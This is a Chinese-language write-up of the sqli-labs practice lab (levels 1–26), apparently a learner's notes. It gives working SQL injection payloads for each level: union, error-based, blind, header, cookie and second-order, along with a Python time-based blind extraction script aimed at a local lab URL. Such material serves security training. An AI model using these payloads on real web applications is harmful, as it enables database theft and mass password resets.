Less-1 **Error Based- String**
试了下单引号看到报错,直接用Union联合查询或是报错注入。
payload:
2221'union select 1,database(),user()#
Less-2 **Error Based- Intiger**
数字型,和第一题差不多。
payload:
-1 union select 1,database(),user()#
Less-3 Error Based- String (with Twist)
这题输入的参数多了括号包裹,不过根据报错的提示很容易判断。
payload:
?id=-1')union select 1,database(),user()#
ps:如果没有报错可以通过:id=2'and'1'='1来判断。
Less-4 Error Based- DoubleQuotes String
换成了双引号,其他没什么变化:
payload:
id=-1")union select 1,database(),user() #
Less-5 Double Query- Single Quotes- String
id登陆后没有回显了,不过报错还显示,这里选择报错注入或是盲注。
payload:
?id=-2'||updatexml(1,concat(0x7e,(select database())),1)#
Less-6 Double Query- Double Quotes- String
和上一题的区别是换成了双引号。
payload:
id=1"||extractvalue(1,concat(0x7e,(select database())))#
Less-7 Dump into Outfile
这一题的过滤规则让我疑惑了好一阵子。题目名是outfile,貌似是要我直接写shell进去。
我先探测了一下语句规则,发现页面提示的语法错误未必真的是语法错误,而是直接搜索结果为空,就会提示语法错误。(这一点误导了我好一阵)
继续测试发现'#'也被过滤掉了。
分析万规则后就可以直接通过盲注来做这题了。
payload:
id=2'and(binary(substr((select database()),1,1))>'r')or'1'='2
然后回去看代码,尴尬的发现自己判断错了。
这题不是过滤了'#',而是参数外套了双括号。。。
ps:要用outfile的话,要先在配置里打开文件权限。
Less-8 Blind- Boolian- Single Quotes- String
这题加个单引号,然后是布尔型盲注。
payload:
id=1'and(binary(substr((select database()),1,1))>'s')#
less-9 Blind- Time based- Single Quotes- String
这题无论输入什么,返回的都是同样的结果。无奈之下回来看题目名称。基于时间的盲注。于是想到试一试sleep():
1'-sleep(21)#
果然sleep()被执行了。
那就好办了:
脚本:
#coding=utf-8
import requests
import time
url="http://127.0.0.1/sqli-labs-master/Less-9/?id="
def getDatabase():
database=""
index=1
while(True):
for i in range(32,128):
payload="1\' and if(binary(substr((select database()),{},1))<=\'{}\',sleep(2),1)#".format(index,chr(i))
#print payload
time_start=time.time()
requests.get(url+payload)
time_end=time.time()
if time_end-time_start>2:
database+=chr(i)
index+=1
break
print database
getDatabase()
执行的实在太慢了,其他的就不写了。
回来看源码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "
";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
这题的sql语句没有特殊的地方,只不过执行结果没有区分,就让我束手无策了,果然历练不足。
Less-10 Blind- Time based- Double Quotes- String
和Less-9差不多,只是单引号换成双引号
Less-11- Error Based- String
换成post类型了。直接万能密码就能登陆,通过union来获取其他数据。
payload:
uname=test'union select user(),database()#&passwd=2
Less-12- Error Based- Double quotes- String
上一题换成双引号了,通过报错看到括号。
payload:
uname=test")union select database(),user()#&passwd=admin
Less-13- Double Injection- String- with twist
登陆成功关闭了回显,选择extractvalue报错注入。
payload:
uname=test')or(extractvalue(1,concat(0x7e,(select database()))))#&passwd=admin
Less-14- Double Injection- Double quotes- String
和13题差不多。同样报错注入。
payload:
uname=test"or(updatexml(1,concat(0x7e,(select user())),1))#&passwd=admin
Less-15- Blind- Boolian Based- String
感觉又是做过的题。没有报错回显,布尔型盲注。
payload:
uname=admin'and(binary(substr((select database()),1,1))>'r')#&passwd=admin
Less-16- Blind- Time Based- Double quotes- String
和15题差不多,找到语句规则后,继续布尔型盲注。
payload:
uname=admin")and(binary(substr((select database()),1,1))>'r')#&passwd=admin
Less-17 Update Query- Error based - Strin
这题看样子是个Update语句,输入一个用户名和一个新密码,就会修改对应用户名的密码,不太明白这题的目标是什么。
想了半天没想到该怎么注入,无奈看了答案,结果发现答案如此简单。。。
这题,对username做了过滤,passwd没做过滤。
注入点就在passwd,可以使用报错注入或是盲注,方法和select注入差不多。
payload:
uname=admin&passwd=admin'or(updatexml(1,concat(0x7e,(select user())),1))#
Less-18 Header Injection- Error Based- string
一个登陆框,可以用admin/admin登陆成功。试了下username和password,貌似没注入点。
发现返回了ip地址和User Agent,结合题目名称,看来是要向header里写东西了。
随便输入几个引号试了下,发现返回了:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"', '127.0.0.1', 'admin')' at line 1
看样子很像是插入语句的报错。
让我想起了做ctf时遇到过的二次注入,于是尝试把查询结果直接插入,发现失败了,返回的还是我插入的字符串。
题目名称是报错注入,那就用报错的方式做吧。
首先通过:
'-a()-'
得到数据库:security。
爆表格:
'-polygon(username)-'
得到table:uagents
爆字段:
'-(select * from(select * from uagents as a join uagents as b)c)='a
'-(select * from(select * from uagents as a join uagents as b using(id))c)='a
'-(select * from(select * from uagents as a join uagents as b using(id,uagent))c)='a
得到字段:id,uagent, ip_address...
后面就不会了~
无奈看答案,发现答案用了一种ExtractValue的方法。
这种方法用户对XML文档进行查询。
语法:extractvalue(目标xml文档,xml路径)
如果第二个参数我们写入的不是/xxx/xxx这种格式,就会报错,并且返回我们写入的内容。
类似语句:
extractvalue(1, concat(0x7e, (select @@version),0x7e))
拼接一个符号'~'和后面查询的内容,触发报错,返回查询的内容。
不过此方法限制长度32字节,可以结合substr等使用。
类似的用法还有updatexml()。
所以后面可以继续爆字段内容和其他表:
'-extractvalue(1, concat(0x7e, (select username from uagents limit 1,1)))-'a
学到了,学到了。
Less-19 Header Injection- Referer- Error Based- string
注入点换成referer,其他没啥变化。
Less-20 Cookie Injection- Error Based- string
注入点在cookie,就是cookie处的报错注入。
payload:
uname=a'and(updatexml(1, concat(0x7e, (select username from uagents limit 1,1)),1))#
Less-21 Cookie Injection- Error Based- complex - string
还是cookie的报错注入,不过需要经过一层base64加密。
payload:
uname=YWRtaW4nb3IodXBkYXRleG1sKDEsIGNvbmNhdCgweDdlLCAoc2VsZWN0IGRhdGFiYXNlKCkpKSwxKSlvcicxJz0nMg==
#admin'or(updatexml(1, concat(0x7e, (select database())),1))or'1'='2
Less-22 Cookie Injection- Error Based- Double Quotes - string
和Less-21差不多,换成双引号。
payload:
uname=YWRtaW4ib3IodXBkYXRleG1sKDEsIGNvbmNhdCgweDdlLCAoc2VsZWN0IGRhdGFiYXNlKCkpKSwxKSlvciIxIj0iMg==
#admin"or(updatexml(1, concat(0x7e, (select database())),1))or"1"="2
Less-23 **Error Based- no comments**
过滤了注释符,继续报错注入。
payload:
?id=2'or(updatexml(1, concat(0x7e, (select database())),1))or'1'='1
Less-24 - Second Degree Injections
有注册、登陆、重置密码功能。
看样子像是二次注入,首先尝试一次注册,发现注册后没有自动登陆,而是需要输入账号密码登陆,而回显是用户名,所以排除了插入用户时的注入点。
猜想有可能是登陆后重置密码代入了用户名造成的二次注入。但是这种注入我只想到用来修改管理员密码,貌似没法爆库。
为了验证猜想,先看了下代码:
发现注册用户时,对输入内容做了一个:mysql_escape_string()。
而在修改密码时,是直接从session里取出用户名。
看来没错了。
我先注册了一个用户:
test'or'1'='1'#
登陆用户后,修改密码为123。
然后数据库里所有密码都被修改了。
Less-25 Trick with OR & AND
这题过滤了and和or,不过可以用||和&&替代,继续报错。
payload:
?id=2'||(updatexml(1, concat(0x7e, (select database())),1))#
Less-26 Trick with comments
首先判断注入类型,输入一个1'会报错,1和1"没问题,说明是字符型注入。
然后继续尝试发现注入了and和or,而且是替换为空的过滤,所以可以用复写来绕过。
看到过滤了空格,这里尝试了各种绕过,空格,特殊符号,都不适用。
看答案说是可以用